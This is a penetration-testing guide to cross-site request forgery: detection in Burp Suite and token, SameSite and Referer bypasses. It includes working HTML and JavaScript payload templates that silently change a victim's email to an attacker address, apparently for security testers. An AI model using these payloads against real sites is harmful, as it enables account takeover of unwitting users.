Cross-Site Request Forgery (CSRF)
CSRF detection and exploitation: token validation bypass, SameSite cookie restriction bypass, Referer-based defence bypass, JSON CSRF, multi-step CSRF, and PoC generation in Burp Suite. Every payload separated.
What is CSRF
CSRF tricks a victim’s authenticated browser into sending a state-changing request to a target site. The attacker’s page (or a malicious link) issues the request — the browser automatically includes the victim’s session cookies.
Three conditions must hold:
- A relevant action — something worth forging (password change, email change, fund transfer).
- Cookie-only session handling — no unpredictable token in the request.
- No unguessable parameters — the attacker can craft the full request.
Detection
Step 1 — Find state-changing requests with Burp Proxy
Browse every authenticated function (change email, change password, update profile, add item). In Proxy → HTTP history look for POST/PUT requests that:
- Have no
X-CSRF-Token/csrfparameter, or - Use a CSRF token that is predictable / tied to the session ID.
Step 2 — Test token validation
Send the request to Repeater. Try each of these in order:
| Test | What to change | Vulnerable if… |
|---|---|---|
| Remove token | Delete the csrf= parameter entirely | Request still succeeds |
| Blank token | Set csrf= (empty value) | Request still succeeds |
| Wrong token | Set csrf=wrong123 | Request still succeeds |
| Another user’s token | Log in as user B, copy their token, use in user A’s request | Request still succeeds |
| Change POST → GET | Right-click → Change request method | Request still succeeds |
Step 3 — Generate PoC in Burp
With the target request in Repeater or Proxy history:
Right-click → Engagement tools → Generate CSRF PoC
Burp outputs a self-submitting HTML form. Enable auto-submit in the options and paste it into a page you control.
Basic CSRF PoC (HTML form)
<html>
<body>
<form action="https://TARGET/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
GET-based CSRF (via img tag, no user interaction):
<img src="https://TARGET/action?param=evil" width="0" height="0" />
Bypass: token not tied to session
If the app issues tokens in a cookie and validates the cookie against the form value (double-submit pattern), you only need to control one cookie. Use a CRLF injection or subdomain XSS to plant a known token in the cookie, then submit a form with that same value.
<form action="https://TARGET/email/change" method="POST">
<input type="hidden" name="csrf" value="KNOWN_TOKEN" />
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
Bypass: SameSite=Lax
Lax only sends cookies on top-level GET navigations. A POST form is blocked. Bypass techniques:
GET method override
If the endpoint accepts GET (test in Repeater):
<script>
document.location = 'https://TARGET/email/change?email=attacker@evil.com&_method=POST';
</script>
120-second window (Chrome quirk)
Cookies set without a SameSite attribute temporarily default to Lax but are sent on cross-site POST within the first 120 seconds of the session. If you can trigger the victim to visit your page immediately after login (OAuth callback, magic link), a plain POST form may work.
Chain with open redirect on the target site
If the target has an open redirect, use it to make the final hop same-site:
<script>
document.location = 'https://TARGET/redirect?url=https://TARGET/email/change?email=attacker@evil.com';
</script>
Bypass: SameSite=Strict via sibling subdomain
If a sibling subdomain (blog.TARGET.com) is compromised or has XSS, requests from it are considered same-site:
<!-- On blog.TARGET.com via stored XSS -->
<script>
var f = document.createElement('form');
f.action = 'https://TARGET.com/email/change';
f.method = 'POST';
var i = document.createElement('input');
i.name = 'email'; i.value = 'attacker@evil.com';
f.appendChild(i); document.body.appendChild(f); f.submit();
</script>
Bypass: Referer validation
Remove the Referer header entirely
Add a <meta> tag to suppress it:
<meta name="referrer" content="no-referrer">
<form action="https://TARGET/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
Make the target domain appear in the Referer
Host your PoC at a URL containing the target domain:
https://TARGET.attacker.com/csrf.html
The Referer will be https://TARGET.attacker.com/... which passes a naive strpos($referer, 'TARGET') check.
JSON CSRF
When the endpoint requires Content-Type: application/json:
<html>
<body>
<form action="https://TARGET/api/email/change" method="POST"
enctype="text/plain">
<!-- text/plain sends: {"email":"attacker@evil.com","x":" -->
<input type="hidden" name='{"email":"attacker@evil.com","x"' value='"ignore":""}' />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
If the server only checks that the content-type string contains json (case-insensitive), text/plain often passes.
CSRF + stored XSS chain
If you have stored XSS on the same origin, you don’t need CSRF at all — the XSS payload can make authenticated API calls directly:
fetch('/email/change', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com',
credentials: 'include'
});
Burp Suite workflow
- Proxy — intercept the target state-changing request.
- Repeater — test all token bypass variants above.
- CSRF PoC generator — right-click → Engagement tools → Generate CSRF PoC, enable auto-submit.
- Burp Collaborator (for blind confirmation) — embed a Collaborator URL in the PoC payload to confirm execution server-side.